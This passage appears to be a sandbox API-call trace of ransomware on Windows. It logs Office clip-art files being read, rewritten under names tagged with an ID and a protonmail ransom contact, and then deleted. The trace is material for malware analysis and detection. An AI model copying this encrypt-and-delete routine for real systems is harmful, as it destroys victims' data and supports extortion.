	[0089.512] WriteFile (in: hFile=0x388, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1
	[0089.512] SetEndOfFile (hFile=0x388) returned 1
	[0089.512] CloseHandle (hObject=0x388) returned 1
	[0089.512] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.512] SetEndOfFile (hFile=0x370) returned 1
	[0089.513] CloseHandle (hObject=0x370) returned 1
	[0089.513] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0089.513] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00448_.wmf")) returned 1
	[0089.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 68
	[0089.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 68
	[0089.513] lstrlenW (lpString=".doc") returned 4
	[0089.513] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0089.513] lstrlenW (lpString=".docx") returned 5
	[0089.513] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0089.513] lstrlenW (lpString=".pdf") returned 4
	[0089.513] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0089.513] lstrlenW (lpString=".xls") returned 4
	[0089.513] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0089.513] lstrlenW (lpString=".xlsx") returned 5
	[0089.513] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0089.513] lstrlenW (lpString=".ppt") returned 4
	[0089.513] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0089.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 68
	[0089.514] lstrlenW (lpString=".zip") returned 4
	[0089.514] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0089.514] lstrlenW (lpString=".rar") returned 4
	[0089.514] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0089.514] lstrlenW (lpString=".bz2") returned 4
	[0089.514] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0089.514] lstrlenW (lpString=".7z") returned 3
	[0089.514] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0089.514] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 68
	[0089.514] lstrlenW (lpString=".dbf") returned 4
	[0089.514] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0089.514] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 68
	[0089.514] lstrlenW (lpString=".1cd") returned 4
	[0089.514] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0089.514] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 68
	[0089.514] lstrlenW (lpString=".jpg") returned 4
	[0089.514] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0089.514] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 68
	[0089.514] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 68
	[0089.514] lstrlenW (lpString=".doc") returned 4
	[0089.514] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0089.514] lstrlenW (lpString=".docx") returned 5
	[0089.514] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0089.514] lstrlenW (lpString=".pdf") returned 4
	[0089.514] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0089.514] lstrlenW (lpString=".xls") returned 4
	[0089.514] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0089.514] lstrlenW (lpString=".xlsx") returned 5
	[0089.514] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0089.514] lstrlenW (lpString=".ppt") returned 4
	[0089.514] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0089.514] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 68
	[0089.514] lstrlenW (lpString=".zip") returned 4
	[0089.514] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0089.514] lstrlenW (lpString=".rar") returned 4
	[0089.514] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0089.515] lstrlenW (lpString=".bz2") returned 4
	[0089.515] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0089.515] lstrlenW (lpString=".7z") returned 3
	[0089.515] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0089.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 68
	[0089.515] lstrlenW (lpString=".dbf") returned 4
	[0089.515] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0089.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 68
	[0089.515] lstrlenW (lpString=".1cd") returned 4
	[0089.515] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0089.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 68
	[0089.515] lstrlenW (lpString=".jpg") returned 4
	[0089.515] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0089.515] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0089.515] lstrlenW (lpString="DD00449_.WMF") returned 12
	[0089.515] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00449_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0089.515] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=9992) returned 1
	[0089.515] CloseHandle (hObject=0x370) returned 1
	[0089.515] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00449_.wmf")) returned 0x220
	[0089.515] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00449_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0089.516] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00449_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0089.516] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.516] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.516] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00449_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0089.516] GetLastError () returned 0x0
	[0089.516] ReadFile (in: hFile=0x370, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x2708, lpOverlapped=0x0) returned 1
	[0090.093] WriteFile (in: hFile=0x388, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0x2710, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0x2710, lpOverlapped=0x0) returned 1
	[0090.103] ReadFile (in: hFile=0x370, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0090.103] WriteFile (in: hFile=0x388, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1
	[0090.103] SetEndOfFile (hFile=0x388) returned 1
	[0090.103] CloseHandle (hObject=0x388) returned 1
	[0090.103] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0090.103] SetEndOfFile (hFile=0x370) returned 1
	[0090.104] CloseHandle (hObject=0x370) returned 1
	[0090.104] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0090.104] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00449_.wmf")) returned 1
	[0090.105] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 68
	[0090.105] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 68
	[0090.105] lstrlenW (lpString=".doc") returned 4
	[0090.105] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0090.105] lstrlenW (lpString=".docx") returned 5
	[0090.105] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0090.105] lstrlenW (lpString=".pdf") returned 4
	[0090.105] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0090.105] lstrlenW (lpString=".xls") returned 4
	[0090.105] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0090.105] lstrlenW (lpString=".xlsx") returned 5
	[0090.105] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0090.105] lstrlenW (lpString=".ppt") returned 4
	[0090.105] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0090.105] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 68
	[0090.105] lstrlenW (lpString=".zip") returned 4
	[0090.105] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0090.105] lstrlenW (lpString=".rar") returned 4
	[0090.105] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0090.105] lstrlenW (lpString=".bz2") returned 4
	[0090.105] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0090.105] lstrlenW (lpString=".7z") returned 3
	[0090.105] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0090.105] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 68
	[0090.105] lstrlenW (lpString=".dbf") returned 4
	[0090.105] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0090.105] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 68
	[0090.105] lstrlenW (lpString=".1cd") returned 4
	[0090.105] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0090.105] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 68
	[0090.105] lstrlenW (lpString=".jpg") returned 4
	[0090.105] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0090.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 68
	[0090.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 68
	[0090.106] lstrlenW (lpString=".doc") returned 4
	[0090.106] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0090.106] lstrlenW (lpString=".docx") returned 5
	[0090.106] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0090.106] lstrlenW (lpString=".pdf") returned 4
	[0090.106] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0090.106] lstrlenW (lpString=".xls") returned 4
	[0090.106] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0090.106] lstrlenW (lpString=".xlsx") returned 5
	[0090.106] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0090.106] lstrlenW (lpString=".ppt") returned 4
	[0090.106] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0090.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 68
	[0090.106] lstrlenW (lpString=".zip") returned 4
	[0090.106] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0090.106] lstrlenW (lpString=".rar") returned 4
	[0090.106] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0090.106] lstrlenW (lpString=".bz2") returned 4
	[0090.106] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0090.106] lstrlenW (lpString=".7z") returned 3
	[0090.106] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0090.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 68
	[0090.106] lstrlenW (lpString=".dbf") returned 4
	[0090.106] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0090.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 68
	[0090.106] lstrlenW (lpString=".1cd") returned 4
	[0090.106] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0090.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 68
	[0090.106] lstrlenW (lpString=".jpg") returned 4
	[0090.106] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0090.107] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0090.107] lstrlenW (lpString="DD01162_.WMF") returned 12
	[0090.107] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01162_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0090.107] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=2300) returned 1
	[0090.107] CloseHandle (hObject=0x370) returned 1
	[0090.107] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01162_.wmf")) returned 0x220
	[0090.107] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01162_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0090.107] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01162_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0090.107] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0090.107] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0090.108] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01162_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0090.108] GetLastError () returned 0x0
	[0090.108] ReadFile (in: hFile=0x370, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x8fc, lpOverlapped=0x0) returned 1
	[0090.109] WriteFile (in: hFile=0x388, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0x900, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0x900, lpOverlapped=0x0) returned 1
	[0090.110] ReadFile (in: hFile=0x370, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0090.110] WriteFile (in: hFile=0x388, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1
	[0090.110] SetEndOfFile (hFile=0x388) returned 1
	[0090.111] CloseHandle (hObject=0x388) returned 1
	[0090.111] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0090.111] SetEndOfFile (hFile=0x370) returned 1
	[0090.112] CloseHandle (hObject=0x370) returned 1
	[0090.112] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0090.112] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01162_.wmf")) returned 1
	[0090.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 68
	[0090.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 68
	[0090.112] lstrlenW (lpString=".doc") returned 4
	[0090.112] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0090.112] lstrlenW (lpString=".docx") returned 5
	[0090.112] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0090.112] lstrlenW (lpString=".pdf") returned 4
	[0090.112] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0090.112] lstrlenW (lpString=".xls") returned 4
	[0090.112] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0090.112] lstrlenW (lpString=".xlsx") returned 5
	[0090.112] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0090.112] lstrlenW (lpString=".ppt") returned 4
	[0090.112] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0090.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 68
	[0090.112] lstrlenW (lpString=".zip") returned 4
	[0090.112] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0090.112] lstrlenW (lpString=".rar") returned 4
	[0090.112] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0090.113] lstrlenW (lpString=".bz2") returned 4
	[0090.113] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0090.113] lstrlenW (lpString=".7z") returned 3
	[0090.113] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0090.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 68
	[0090.113] lstrlenW (lpString=".dbf") returned 4
	[0090.113] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0090.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 68
	[0090.113] lstrlenW (lpString=".1cd") returned 4
	[0090.113] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0090.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 68
	[0090.113] lstrlenW (lpString=".jpg") returned 4
	[0090.113] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0090.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 68
	[0090.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 68
	[0090.113] lstrlenW (lpString=".doc") returned 4
	[0090.113] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0090.113] lstrlenW (lpString=".docx") returned 5
	[0090.113] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0090.113] lstrlenW (lpString=".pdf") returned 4
	[0090.113] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0090.113] lstrlenW (lpString=".xls") returned 4
	[0090.113] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0090.113] lstrlenW (lpString=".xlsx") returned 5
	[0090.113] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0090.113] lstrlenW (lpString=".ppt") returned 4
	[0090.113] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0090.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 68
	[0090.113] lstrlenW (lpString=".zip") returned 4
	[0090.113] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0090.113] lstrlenW (lpString=".rar") returned 4
	[0090.113] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0090.113] lstrlenW (lpString=".bz2") returned 4
	[0090.113] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0090.113] lstrlenW (lpString=".7z") returned 3
	[0090.114] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0090.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 68
	[0090.114] lstrlenW (lpString=".dbf") returned 4
	[0090.114] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0090.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 68
	[0090.114] lstrlenW (lpString=".1cd") returned 4
	[0090.114] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0090.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 68
	[0090.114] lstrlenW (lpString=".jpg") returned 4
	[0090.114] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0090.114] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0090.114] lstrlenW (lpString="DD01163_.WMF") returned 12
	[0090.114] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01163_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0090.114] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=2300) returned 1
	[0090.114] CloseHandle (hObject=0x370) returned 1
	[0090.114] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01163_.wmf")) returned 0x220
	[0090.114] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01163_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0090.115] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01163_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0090.115] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0090.115] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0090.115] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01163_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0090.115] GetLastError () returned 0x0
	[0090.115] ReadFile (in: hFile=0x370, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x8fc, lpOverlapped=0x0) returned 1
	[0090.116] WriteFile (in: hFile=0x388, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0x900, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0x900, lpOverlapped=0x0) returned 1
